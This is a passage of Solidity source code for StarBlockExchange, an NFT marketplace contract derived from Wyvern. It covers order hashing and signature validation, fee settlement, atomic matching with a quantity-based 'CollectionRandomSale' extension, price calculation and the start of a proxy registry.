keccak256(add(array, 0x20), size) } return hash; } /** * @dev Hash an order, returning the hash that a client must sign via EIP-712 including the message prefix * @param order Order to hash * @param nonce Nonce to hash * @return Hash of message prefix and order hash per Ethereum format */ function hashToSign(Order memory order, uint nonce) internal pure returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashOrder(order, nonce)) ); } /** * @dev Assert an order is valid and return its hash * @param order Order to validate * @param nonce Nonce to validate * @param sig ECDSA signature */ function requireValidOrder(Order memory order, Sig memory sig, uint nonce) internal view returns (bytes32) { bytes32 hash = hashToSign(order, nonce); require(validateOrder(hash, order, sig)); return hash; } /** * @dev Validate order parameters (does *not* check signature validity) * @param order Order to validate */ function validateOrderParameters(Order memory order) internal view returns (bool) { /* Order must be targeted at this protocol version (this Exchange contract). */ if (order.exchange != address(this)) { return false; } /* Order must have a maker. */ if (order.maker == address(0)) { return false; } /* Order must possess valid sale kind parameter combination. */ if (!SaleKindInterface.validateParameters(order.saleKind, order.expirationTime)) { return false; } /* If using the split fee method, order must have sufficient protocol fees. */ if (order.feeMethod == FeeMethod.SplitFee && (order.makerProtocolFee < minimumMakerProtocolFee || order.takerProtocolFee < minimumTakerProtocolFee)) { return false; } return true; } /** * @dev Validate a provided previously approved / signed order, hash, and signature. * @param hash Order hash (already calculated, passed to avoid recalculation) * @param order Order to validate * @param sig ECDSA signature */ function validateOrder(bytes32 hash, Order memory order, Sig memory sig) internal view returns (bool) { /* Not done in an if-conditional to prevent unnecessary ecrecover evaluation, which seems to happen even though it should short-circuit. */ /* Order must have valid parameters. */ if (!validateOrderParameters(order)) { return false; } /* Order must have not been canceled or already filled. */ if (cancelledOrFinalized[hash]) { return false; } /* Return true if order has been previously approved with the current nonce */ uint approvedOrderNoncePlusOne = _approvedOrdersByNonce[hash]; if (approvedOrderNoncePlusOne != 0) { return approvedOrderNoncePlusOne == nonces[order.maker] + 1; } /* Prevent signature malleability and non-standard v values. */ if (uint256(sig.s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return false; } if (sig.v != 27 && sig.v != 28) { return false; } /* recover via ECDSA, signed by maker (already verified as non-zero). */ if (ecrecover(hash, sig.v, sig.r, sig.s) == order.maker) { return true; } /* fallback — attempt EIP-1271 isValidSignature check. */ return _tryContractSignature(order.maker, hash, sig); } function _tryContractSignature(address orderMaker, bytes32 hash, Sig memory sig) internal view returns (bool) { bytes memory isValidSignatureData = abi.encodeWithSelector( _EIP_1271_MAGIC_VALUE, hash, abi.encodePacked(sig.r, sig.s, sig.v) ); bytes4 result; // NOTE: solidity 0.4.x does not support STATICCALL outside of assembly assembly { let success := staticcall( // perform a staticcall gas, // forward all available gas orderMaker, // call the order maker add(isValidSignatureData, 0x20), // calldata offset comes after length mload(isValidSignatureData), // load calldata length 0, // do not use memory for return data 0 // do not use memory for return data ) if iszero(success) { // if the call fails returndatacopy(0, 0, returndatasize) // copy returndata buffer to memory revert(0, returndatasize) // revert + pass through revert data } if eq(returndatasize, 0x20) { // if returndata == 32 (one word) returndatacopy(0, 0, 0x20) // copy return data to memory in scratch space result := mload(0) // load return data from memory to the stack } } return result == _EIP_1271_MAGIC_VALUE; } /** * @dev Determine if an order has been approved. Note that the order may not still * be valid in cases where the maker's nonce has been incremented. * @param hash Hash of the order * @return whether or not the order was approved. */ function approvedOrders(bytes32 hash) public view returns (bool approved) { return _approvedOrdersByNonce[hash] != 0; } /** * @dev Approve an order and optionally mark it for orderbook inclusion. Must be called by the maker of the order * @param order Order to approve * @param orderbookInclusionDesired Whether orderbook providers should include the order in their orderbooks */ function approveOrder(Order memory order, bool orderbookInclusionDesired) internal { /* CHECKS */ /* Assert sender is authorized to approve order. */ require(msg.sender == order.maker); /* Calculate order hash. */ bytes32 hash = hashToSign(order, nonces[order.maker]); /* Assert order has not already been approved. */ require(_approvedOrdersByNonce[hash] == 0); /* EFFECTS */ /* Mark order as approved. */ _approvedOrdersByNonce[hash] = nonces[order.maker] + 1; /* Log approval event. Must be split in two due to Solidity stack size limitations. */ { emit OrderApprovedPartOne(hash, order.exchange, order.maker, order.taker, order.makerRelayerFee, order.takerRelayerFee, order.makerProtocolFee, order.takerProtocolFee, order.feeRecipient, order.feeMethod, order.side, order.saleKind, order.target); } { emit OrderApprovedPartTwo(hash, order.howToCall, order.calldata, order.replacementPattern, order.staticTarget, order.staticExtradata, order.paymentToken, order.basePrice, order.extra, order.listingTime, order.expirationTime, order.salt, orderbookInclusionDesired); } } /** * @dev Cancel an order, preventing it from being matched. Must be called by the maker of the order * @param order Order to cancel * @param nonce Nonce to cancel * @param sig ECDSA signature */ function cancelOrder(Order memory order, Sig memory sig, uint nonce) internal { /* CHECKS */ /* Calculate order hash. */ bytes32 hash = requireValidOrder(order, sig, nonce); /* Assert sender is authorized to cancel order. */ require(msg.sender == order.maker); /* EFFECTS */ /* Mark order as cancelled, preventing it from being matched. */ cancelledOrFinalized[hash] = true; /* Log cancel event. */ emit OrderCancelled(hash); } /** * @dev Calculate the current price of an order (convenience function) * @param order Order to calculate the price of * @return The current price of the order */ function calculateCurrentPrice (Order memory order) internal view returns (uint) { return SaleKindInterface.calculateFinalPrice(order.side, order.saleKind, order.basePrice, order.extra, order.listingTime, order.expirationTime); } /** * @dev Calculate the price two orders would match at, if in fact they would match (otherwise fail) * @param buy Buy-side order * @param sell Sell-side order * @return Match price */ function calculateMatchPrice(Order memory buy, Order memory sell) view internal returns (uint) { /* Calculate sell price. */ uint sellPrice = SaleKindInterface.calculateFinalPrice(sell.side, sell.saleKind, sell.basePrice, sell.extra, sell.listingTime, sell.expirationTime); /* Calculate buy price. */ uint buyPrice = SaleKindInterface.calculateFinalPrice(buy.side, buy.saleKind, buy.basePrice, buy.extra, buy.listingTime, buy.expirationTime); /* Require price cross. */ require(buyPrice >= sellPrice); /* Maker/taker priority. */ return sell.feeRecipient != address(0) ? sellPrice : buyPrice; } /** * @dev Execute all ERC20 token / Ether transfers associated with an order match (fees and buyer => seller transfer) * @param buy Buy-side order * @param sell Sell-side order */ function executeFundsTransfer(Order memory buy, Order memory sell) internal returns (uint) { /* Only payable in the special case of unwrapped Ether. */ if (sell.paymentToken != address(0)) { require(msg.value == 0); } /* Calculate match price. */ uint price = calculateMatchPrice(buy, sell); /* If paying using a token (not Ether), transfer tokens. This is done prior to fee payments to that a seller will have tokens before being charged fees. */ if (price > 0 && sell.paymentToken != address(0)) { transferTokens(sell.paymentToken, buy.maker, sell.maker, price); } /* Amount that will be received by seller (for Ether). */ uint receiveAmount = price; /* Amount that must be sent by buyer (for Ether). */ uint requiredAmount = price; /* Determine maker/taker and charge fees accordingly. */ if (sell.feeRecipient != address(0)) { /* Sell-side order is maker. */ /* Assert taker fee is less than or equal to maximum fee specified by buyer. */ require(sell.takerRelayerFee <= buy.takerRelayerFee); if (sell.feeMethod == FeeMethod.SplitFee) { /* Assert taker fee is less than or equal to maximum fee specified by buyer. */ require(sell.takerProtocolFee <= buy.takerProtocolFee); /* Maker fees are deducted from the token amount that the maker receives. Taker fees are extra tokens that must be paid by the taker. */ if (sell.makerRelayerFee > 0) { uint makerRelayerFee = SafeMath.div(SafeMath.mul(sell.makerRelayerFee, price), INVERSE_BASIS_POINT); if (sell.paymentToken == address(0)) { receiveAmount = SafeMath.sub(receiveAmount, makerRelayerFee); sell.feeRecipient.transfer(makerRelayerFee); } else { transferTokens(sell.paymentToken, sell.maker, sell.feeRecipient, makerRelayerFee); } } if (sell.takerRelayerFee > 0) { uint takerRelayerFee = SafeMath.div(SafeMath.mul(sell.takerRelayerFee, price), INVERSE_BASIS_POINT); if (sell.paymentToken == address(0)) { requiredAmount = SafeMath.add(requiredAmount, takerRelayerFee); sell.feeRecipient.transfer(takerRelayerFee); } else { transferTokens(sell.paymentToken, buy.maker, sell.feeRecipient, takerRelayerFee); } } if (sell.makerProtocolFee > 0) { uint makerProtocolFee = SafeMath.div(SafeMath.mul(sell.makerProtocolFee, price), INVERSE_BASIS_POINT); if (sell.paymentToken == address(0)) { receiveAmount = SafeMath.sub(receiveAmount, makerProtocolFee); protocolFeeRecipient.transfer(makerProtocolFee); } else { transferTokens(sell.paymentToken, sell.maker, protocolFeeRecipient, makerProtocolFee); } } if (sell.takerProtocolFee > 0) { uint takerProtocolFee = SafeMath.div(SafeMath.mul(sell.takerProtocolFee, price), INVERSE_BASIS_POINT); if (sell.paymentToken == address(0)) { requiredAmount = SafeMath.add(requiredAmount, takerProtocolFee); protocolFeeRecipient.transfer(takerProtocolFee); } else { transferTokens(sell.paymentToken, buy.maker, protocolFeeRecipient, takerProtocolFee); } } } else { /* Charge maker fee to seller. */ chargeProtocolFee(sell.maker, sell.feeRecipient, sell.makerRelayerFee); /* Charge taker fee to buyer. */ chargeProtocolFee(buy.maker, sell.feeRecipient, sell.takerRelayerFee); } } else { /* Buy-side order is maker. */ /* Assert taker fee is less than or equal to maximum fee specified by seller. */ require(buy.takerRelayerFee <= sell.takerRelayerFee); if (sell.feeMethod == FeeMethod.SplitFee) { /* The Exchange does not escrow Ether, so direct Ether can only be used to with sell-side maker / buy-side taker orders. */ require(sell.paymentToken != address(0)); /* Assert taker fee is less than or equal to maximum fee specified by seller. */ require(buy.takerProtocolFee <= sell.takerProtocolFee); if (buy.makerRelayerFee > 0) { makerRelayerFee = SafeMath.div(SafeMath.mul(buy.makerRelayerFee, price), INVERSE_BASIS_POINT); transferTokens(sell.paymentToken, buy.maker, buy.feeRecipient, makerRelayerFee); } if (buy.takerRelayerFee > 0) { takerRelayerFee = SafeMath.div(SafeMath.mul(buy.takerRelayerFee, price), INVERSE_BASIS_POINT); transferTokens(sell.paymentToken, sell.maker, buy.feeRecipient, takerRelayerFee); } if (buy.makerProtocolFee > 0) { makerProtocolFee = SafeMath.div(SafeMath.mul(buy.makerProtocolFee, price), INVERSE_BASIS_POINT); transferTokens(sell.paymentToken, buy.maker, protocolFeeRecipient, makerProtocolFee); } if (buy.takerProtocolFee > 0) { takerProtocolFee = SafeMath.div(SafeMath.mul(buy.takerProtocolFee, price), INVERSE_BASIS_POINT); transferTokens(sell.paymentToken, sell.maker, protocolFeeRecipient, takerProtocolFee); } } else { /* Charge maker fee to buyer. */ chargeProtocolFee(buy.maker, buy.feeRecipient, buy.makerRelayerFee); /* Charge taker fee to seller. */ chargeProtocolFee(sell.maker, buy.feeRecipient, buy.takerRelayerFee); } } if (sell.paymentToken == address(0)) { /* Special-case Ether, order must be matched by buyer. */ require(msg.value >= requiredAmount); sell.maker.transfer(receiveAmount); /* Allow overshoot for variable-price auctions, refund difference. */ uint diff = SafeMath.sub(msg.value, requiredAmount); if (diff > 0) { buy.maker.transfer(diff); } } /* This contract should never hold Ether, however, we cannot assert this, since it is impossible to prevent anyone from sending Ether e.g. with selfdestruct. */ return price; } /** * @dev Return whether or not two orders can be matched with each other by basic parameters (does not check order signatures / calldata or perform static calls) * @param buy Buy-side order * @param sell Sell-side order * @return Whether or not the two orders can be matched */ function ordersCanMatch(Order memory buy, Order memory sell) internal view returns (bool) { return ( /* Must be opposite-side. */ (buy.side == SaleKindInterface.Side.Buy && sell.side == SaleKindInterface.Side.Sell) && /* Must use same fee method. */ (buy.feeMethod == sell.feeMethod) && /* Must use same payment token. */ (buy.paymentToken == sell.paymentToken) && /* Must match maker/taker addresses. */ (sell.taker == address(0) || sell.taker == buy.maker) && (buy.taker == address(0) || buy.taker == sell.maker) && /* One must be maker and the other must be taker (no bool XOR in Solidity). */ ((sell.feeRecipient == address(0) && buy.feeRecipient != address(0)) || (sell.feeRecipient != address(0) && buy.feeRecipient == address(0))) && /* Must match target. */ (buy.target == sell.target) && /* Must match howToCall. */ (buy.howToCall == sell.howToCall) && /* Buy-side order must be settleable. */ SaleKindInterface.canSettleOrder(buy.listingTime, buy.expirationTime) && /* Sell-side order must be settleable. */ SaleKindInterface.canSettleOrder(sell.listingTime, sell.expirationTime) ); } /** * @dev Atomically match two orders, ensuring validity of the match, and execute all associated state transitions. Protected against reentrancy by a contract-global lock. * @param buy Buy-side order * @param buySig Buy-side order signature * @param sell Sell-side order * @param sellSig Sell-side order signature */ function atomicMatch(Order memory buy, Sig memory buySig, Order memory sell, Sig memory sellSig, bytes32 metadata) internal reentrancyGuard { /* CHECKS */ /* Ensure buy order validity and calculate hash if necessary. */ bytes32 buyHash; if (buy.maker == msg.sender) { require(validateOrderParameters(buy)); } else { buyHash = _requireValidOrderWithNonce(buy, buySig); } /* Ensure sell order validity and calculate hash if necessary. */ bytes32 sellHash; if (sell.maker == msg.sender) { require(validateOrderParameters(sell)); } else { sellHash = _requireValidOrderWithNonce(sell, sellSig); } /* Must be matchable. */ require(ordersCanMatch(buy, sell)); /* Target must exist (prevent malicious selfdestructs just prior to order settlement). */ uint size; address target = sell.target; assembly { size := extcodesize(target) } require(size > 0); /* Must match calldata after replacement, if specified. */ if (buy.replacementPattern.length > 0) { ArrayUtils.guardedArrayReplace(buy.calldata, sell.calldata, buy.replacementPattern); } if (sell.replacementPattern.length > 0) { ArrayUtils.guardedArrayReplace(sell.calldata, buy.calldata, sell.replacementPattern); } require(ArrayUtils.arrayEq(buy.calldata, sell.calldata)); /* Retrieve delegateProxy contract. */ OwnableDelegateProxy delegateProxy = registry.proxies(sell.maker); /* Proxy must exist. */ require(delegateProxy != address(0)); /* Access the passthrough AuthenticatedProxy. */ AuthenticatedProxy proxy = AuthenticatedProxy(delegateProxy); /* EFFECTS */ /* Mark previously signed or approved orders as finalized. */ if (msg.sender != buy.maker) { cancelledOrFinalized[buyHash] = true; } if (msg.sender != sell.maker && sell.saleKind != SaleKindInterface.SaleKind.CollectionRandomSale) { cancelledOrFinalized[sellHash] = true; } /* INTERACTIONS */ /* change the baseprice based on the qutity. */ if (sell.saleKind == SaleKindInterface.SaleKind.CollectionRandomSale) { uint256 quantity = getQuantity(buy); if (quantity > 1) { sell.basePrice = SafeMath.mul(sell.basePrice, quantity); buy.basePrice = sell.basePrice; } } /* Execute funds transfer and pay fees. */ uint price = executeFundsTransfer(buy, sell); /* Assert implementation. */ require(delegateProxy.implementation() == registry.delegateProxyImplementation()); /* Execute specified call through proxy. */ require(proxy.proxy(sell.target, sell.howToCall, sell.calldata)); /* Static calls are intentionally done after the effectful call so they can check resulting state. */ /* Handle buy-side static call if specified. */ if (buy.staticTarget != address(0)) { require(staticCall(buy.staticTarget, sell.calldata, buy.staticExtradata)); } /* Handle sell-side static call if specified. */ if (sell.staticTarget != address(0)) { require(staticCall(sell.staticTarget, sell.calldata, sell.staticExtradata)); } /* Log match event. */ emit OrdersMatched(buyHash, sellHash, sell.feeRecipient != address(0) ? sell.maker : buy.maker, sell.feeRecipient != address(0) ? buy.maker : sell.maker, price, metadata); } function _requireValidOrderWithNonce(Order memory order, Sig memory sig) internal view returns (bytes32) { return requireValidOrder(order, sig, nonces[order.maker]); } function getQuantity(Order memory buy) internal pure returns (uint256) { bytes memory quantityBytes = new bytes(2); uint index = SafeMath.sub(buy.calldata.length, 2); uint lastIndex = SafeMath.sub(buy.calldata.length, 1); quantityBytes[0] = buy.calldata[index]; quantityBytes[1] = buy.calldata[lastIndex]; uint256 quantity = bytesToUint(quantityBytes); return quantity; } function bytesToUint(bytes memory b) internal pure returns (uint256) { uint256 number; for(uint i = 0; i< b.length; i++) { uint index = SafeMath.add(i, 1); uint length = SafeMath.sub(b.length, index); uint offset = 2**SafeMath.mul(8, length); uint offsetCount = SafeMath.mul(uint8(b[i]), offset); number = SafeMath.add(number, offsetCount); } return number; } } contract Exchange is ExchangeCore { /** * @dev Call guardedArrayReplace - library function exposed for testing. */ function guardedArrayReplace(bytes array, bytes desired, bytes mask) public pure returns (bytes) { ArrayUtils.guardedArrayReplace(array, desired, mask); return array; } /** * @dev Call calculateFinalPrice - library function exposed for testing. */ function calculateFinalPrice(SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, uint basePrice, uint extra, uint listingTime, uint expirationTime) public view returns (uint) { return SaleKindInterface.calculateFinalPrice(side, saleKind, basePrice, extra, listingTime, expirationTime); } /** * @dev Call hashOrder - Solidity ABI encoding limitation workaround, hopefully temporary. */ function hashOrder_( address[7] addrs, uint[9] uints, FeeMethod feeMethod, SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, AuthenticatedProxy.HowToCall howToCall, bytes calldata, bytes replacementPattern, bytes staticExtradata) public view returns (bytes32) { return hashOrder( Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], feeMethod, side, saleKind, addrs[4], howToCall, calldata, replacementPattern, addrs[5], staticExtradata, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]), nonces[addrs[1]] ); } /** * @dev Call hashToSign - Solidity ABI encoding limitation workaround, hopefully temporary. */ function hashToSign_( address[7] addrs, uint[9] uints, FeeMethod feeMethod, SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, AuthenticatedProxy.HowToCall howToCall, bytes calldata, bytes replacementPattern, bytes staticExtradata) public view returns (bytes32) { return hashToSign( Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], feeMethod, side, saleKind, addrs[4], howToCall, calldata, replacementPattern, addrs[5], staticExtradata, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]), nonces[addrs[1]] ); } /** * @dev Call validateOrderParameters - Solidity ABI encoding limitation workaround, hopefully temporary. */ function validateOrderParameters_ ( address[7] addrs, uint[9] uints, FeeMethod feeMethod, SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, AuthenticatedProxy.HowToCall howToCall, bytes calldata, bytes replacementPattern, bytes staticExtradata) view public returns (bool) { Order memory order = Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], feeMethod, side, saleKind, addrs[4], howToCall, calldata, replacementPattern, addrs[5], staticExtradata, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]); return validateOrderParameters( order ); } /** * @dev Call validateOrder - Solidity ABI encoding limitation workaround, hopefully temporary. */ function validateOrder_ ( address[7] addrs, uint[9] uints, FeeMethod feeMethod, SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, AuthenticatedProxy.HowToCall howToCall, bytes calldata, bytes replacementPattern, bytes staticExtradata, uint8 v, bytes32 r, bytes32 s) view public returns (bool) { Order memory order = Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], feeMethod, side, saleKind, addrs[4], howToCall, calldata, replacementPattern, addrs[5], staticExtradata, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]); return validateOrder( hashToSign(order, nonces[order.maker]), order, Sig(v, r, s) ); } /** * @dev Call approveOrder - Solidity ABI encoding limitation workaround, hopefully temporary. */ function approveOrder_ ( address[7] addrs, uint[9] uints, FeeMethod feeMethod, SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, AuthenticatedProxy.HowToCall howToCall, bytes calldata, bytes replacementPattern, bytes staticExtradata, bool orderbookInclusionDesired) public { Order memory order = Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], feeMethod, side, saleKind, addrs[4], howToCall, calldata, replacementPattern, addrs[5], staticExtradata, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]); return approveOrder(order, orderbookInclusionDesired); } /** * @dev Call cancelOrder - Solidity ABI encoding limitation workaround, hopefully temporary. */ function cancelOrder_( address[7] addrs, uint[9] uints, FeeMethod feeMethod, SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, AuthenticatedProxy.HowToCall howToCall, bytes calldata, bytes replacementPattern, bytes staticExtradata, uint8 v, bytes32 r, bytes32 s) public { Order memory order = Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], feeMethod, side, saleKind, addrs[4], howToCall, calldata, replacementPattern, addrs[5], staticExtradata, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]); return cancelOrder( order, Sig(v, r, s), nonces[order.maker] ); } /** * @dev Call cancelOrder, supplying a specific nonce — enables cancelling orders that were signed with nonces greater than the current nonce. */ function cancelOrderWithNonce_( address[7] addrs, uint[9] uints, FeeMethod feeMethod, SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, AuthenticatedProxy.HowToCall howToCall, bytes calldata, bytes replacementPattern, bytes staticExtradata, uint8 v, bytes32 r, bytes32 s, uint nonce) public { Order memory order = Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], feeMethod, side, saleKind, addrs[4], howToCall, calldata, replacementPattern, addrs[5], staticExtradata, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]); return cancelOrder( order, Sig(v, r, s), nonce ); } /** * @dev Call calculateCurrentPrice - Solidity ABI encoding limitation workaround, hopefully temporary. */ function calculateCurrentPrice_( address[7] addrs, uint[9] uints, FeeMethod feeMethod, SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, AuthenticatedProxy.HowToCall howToCall, bytes calldata, bytes replacementPattern, bytes staticExtradata) public view returns (uint) { return calculateCurrentPrice( Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], feeMethod, side, saleKind, addrs[4], howToCall, calldata, replacementPattern, addrs[5], staticExtradata, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]) ); } /** * @dev Call ordersCanMatch - Solidity ABI encoding limitation workaround, hopefully temporary. */ function ordersCanMatch_( address[14] addrs, uint[18] uints, uint8[8] feeMethodsSidesKindsHowToCalls, bytes calldataBuy, bytes calldataSell, bytes replacementPatternBuy, bytes replacementPatternSell, bytes staticExtradataBuy, bytes staticExtradataSell) public view returns (bool) { Order memory buy = Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], FeeMethod(feeMethodsSidesKindsHowToCalls[0]), SaleKindInterface.Side(feeMethodsSidesKindsHowToCalls[1]), SaleKindInterface.SaleKind(feeMethodsSidesKindsHowToCalls[2]), addrs[4], AuthenticatedProxy.HowToCall(feeMethodsSidesKindsHowToCalls[3]), calldataBuy, replacementPatternBuy, addrs[5], staticExtradataBuy, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]); Order memory sell = Order(addrs[7], addrs[8], addrs[9], uints[9], uints[10], uints[11], uints[12], addrs[10], FeeMethod(feeMethodsSidesKindsHowToCalls[4]), SaleKindInterface.Side(feeMethodsSidesKindsHowToCalls[5]), SaleKindInterface.SaleKind(feeMethodsSidesKindsHowToCalls[6]), addrs[11], AuthenticatedProxy.HowToCall(feeMethodsSidesKindsHowToCalls[7]), calldataSell, replacementPatternSell, addrs[12], staticExtradataSell, ERC20(addrs[13]), uints[13], uints[14], uints[15], uints[16], uints[17]); return ordersCanMatch( buy, sell ); } /** * @dev Return whether or not two orders' calldata specifications can match * @param buyCalldata Buy-side order calldata * @param buyReplacementPattern Buy-side order calldata replacement mask * @param sellCalldata Sell-side order calldata * @param sellReplacementPattern Sell-side order calldata replacement mask * @return Whether the orders' calldata can be matched */ function orderCalldataCanMatch(bytes buyCalldata, bytes buyReplacementPattern, bytes sellCalldata, bytes sellReplacementPattern) public pure returns (bool) { if (buyReplacementPattern.length > 0) { ArrayUtils.guardedArrayReplace(buyCalldata, sellCalldata, buyReplacementPattern); } if (sellReplacementPattern.length > 0) { ArrayUtils.guardedArrayReplace(sellCalldata, buyCalldata, sellReplacementPattern); } return ArrayUtils.arrayEq(buyCalldata, sellCalldata); } /** * @dev Call calculateMatchPrice - Solidity ABI encoding limitation workaround, hopefully temporary. */ function calculateMatchPrice_( address[14] addrs, uint[18] uints, uint8[8] feeMethodsSidesKindsHowToCalls, bytes calldataBuy, bytes calldataSell, bytes replacementPatternBuy, bytes replacementPatternSell, bytes staticExtradataBuy, bytes staticExtradataSell) public view returns (uint) { Order memory buy = Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], FeeMethod(feeMethodsSidesKindsHowToCalls[0]), SaleKindInterface.Side(feeMethodsSidesKindsHowToCalls[1]), SaleKindInterface.SaleKind(feeMethodsSidesKindsHowToCalls[2]), addrs[4], AuthenticatedProxy.HowToCall(feeMethodsSidesKindsHowToCalls[3]), calldataBuy, replacementPatternBuy, addrs[5], staticExtradataBuy, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]); Order memory sell = Order(addrs[7], addrs[8], addrs[9], uints[9], uints[10], uints[11], uints[12], addrs[10], FeeMethod(feeMethodsSidesKindsHowToCalls[4]), SaleKindInterface.Side(feeMethodsSidesKindsHowToCalls[5]), SaleKindInterface.SaleKind(feeMethodsSidesKindsHowToCalls[6]), addrs[11], AuthenticatedProxy.HowToCall(feeMethodsSidesKindsHowToCalls[7]), calldataSell, replacementPatternSell, addrs[12], staticExtradataSell, ERC20(addrs[13]), uints[13], uints[14], uints[15], uints[16], uints[17]); return calculateMatchPrice( buy, sell ); } /** * @dev Call atomicMatch - Solidity ABI encoding limitation workaround, hopefully temporary. */ function atomicMatch_( address[14] addrs, uint[18] uints, uint8[8] feeMethodsSidesKindsHowToCalls, bytes calldataBuy, bytes calldataSell, bytes replacementPatternBuy, bytes replacementPatternSell, bytes staticExtradataBuy, bytes staticExtradataSell, uint8[2] vs, bytes32[5] rssMetadata) public payable callerIsUser { return atomicMatch( Order(addrs[0], addrs[1], addrs[2], uints[0], uints[1], uints[2], uints[3], addrs[3], FeeMethod(feeMethodsSidesKindsHowToCalls[0]), SaleKindInterface.Side(feeMethodsSidesKindsHowToCalls[1]), SaleKindInterface.SaleKind(feeMethodsSidesKindsHowToCalls[2]), addrs[4], AuthenticatedProxy.HowToCall(feeMethodsSidesKindsHowToCalls[3]), calldataBuy, replacementPatternBuy, addrs[5], staticExtradataBuy, ERC20(addrs[6]), uints[4], uints[5], uints[6], uints[7], uints[8]), Sig(vs[0], rssMetadata[0], rssMetadata[1]), Order(addrs[7], addrs[8], addrs[9], uints[9], uints[10], uints[11], uints[12], addrs[10], FeeMethod(feeMethodsSidesKindsHowToCalls[4]), SaleKindInterface.Side(feeMethodsSidesKindsHowToCalls[5]), SaleKindInterface.SaleKind(feeMethodsSidesKindsHowToCalls[6]), addrs[11], AuthenticatedProxy.HowToCall(feeMethodsSidesKindsHowToCalls[7]), calldataSell, replacementPatternSell, addrs[12], staticExtradataSell, ERC20(addrs[13]), uints[13], uints[14], uints[15], uints[16], uints[17]), Sig(vs[1], rssMetadata[2], rssMetadata[3]), rssMetadata[4] ); } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } } contract StarBlockExchange is Exchange { string public constant codename = "Bulk Smash"; /** * @dev Initialize a WyvernExchange instance * @param registryAddress Address of the registry instance which this Exchange instance will use * @param tokenAddress Address of the token used for protocol fees */ constructor (ProxyRegistry registryAddress, TokenTransferProxy tokenTransferProxyAddress, ERC20 tokenAddress, address protocolFeeAddress) public { registry = registryAddress; tokenTransferProxy = tokenTransferProxyAddress; exchangeToken = tokenAddress; protocolFeeRecipient = protocolFeeAddress; owner = msg.sender; } } library SaleKindInterface { /** * Side: buy or sell. */ enum Side { Buy, Sell } /** * Currently supported kinds of sale: fixed price, Dutch auction. * English auctions cannot be supported without stronger escrow guarantees. * Future interesting options: Vickrey auction, nonlinear Dutch auctions. */ enum SaleKind { FixedPrice, DutchAuction, CollectionRandomSale } /** * @dev Check whether the parameters of a sale are valid * @param saleKind Kind of sale * @param expirationTime Order expiration time * @return Whether the parameters were valid */ function validateParameters(SaleKind saleKind, uint expirationTime) pure internal returns (bool) { /* Auctions must have a set expiration date. */ if (expirationTime > 0 ) { return true; }else { if (saleKind == SaleKind.FixedPrice || saleKind == SaleKind.CollectionRandomSale) { return true; } } return false; } /** * @dev Return whether or not an order can be settled * @dev Precondition: parameters have passed validateParameters * @param listingTime Order listing time * @param expirationTime Order expiration time */ function canSettleOrder(uint listingTime, uint expirationTime) view internal returns (bool) { return (listingTime < now) && (expirationTime == 0 || now < expirationTime); } /** * @dev Calculate the settlement price of an order * @dev Precondition: parameters have passed validateParameters. * @param side Order side * @param saleKind Method of sale * @param basePrice Order base price * @param extra Order extra price data * @param listingTime Order listing time * @param expirationTime Order expiration time */ function calculateFinalPrice(Side side, SaleKind saleKind, uint basePrice, uint extra, uint listingTime, uint expirationTime) view internal returns (uint finalPrice) { if (saleKind == SaleKind.FixedPrice || saleKind == SaleKind.CollectionRandomSale) { return basePrice; } else if (saleKind == SaleKind.DutchAuction) { uint diff = SafeMath.div(SafeMath.mul(extra, SafeMath.sub(now, listingTime)), SafeMath.sub(expirationTime, listingTime)); if (side == Side.Sell) { /* Sell-side - start price: basePrice. End price: basePrice - extra. */ return SafeMath.sub(basePrice, diff); } else { /* Buy-side - start price: basePrice. End price: basePrice + extra. */ return SafeMath.add(basePrice, diff); } } } } contract ProxyRegistry is Ownable { /* DelegateProxy implementation contract. Must be initialized. */ address public delegateProxyImplementation; /* Authenticated proxies by user. */ mapping(address => OwnableDelegateProxy) public proxies; /* Contracts pending access. */ mapping(address => uint) public pending; /* Contracts allowed to call those proxies. */ mapping(address => bool) public contracts; /* Delay period for adding an authenticated contract. This mitigates a particular class of potential attack on the Wyvern DAO (which owns this registry) - if at any point the value of assets held by proxy contracts exceeded the value of half the WYV supply (votes in the DAO), a malicious but rational attacker could buy half the Wyvern and grant themselves access to all the proxy contracts. A delay period renders this attack nonthreatening - given two weeks, if that happened, users would have plenty of time to notice and transfer their assets. */ uint public DELAY_PERIOD = 2 weeks; /** * Start the process to enable access for specified contract. Subject to delay period. * * @dev ProxyRegistry owner 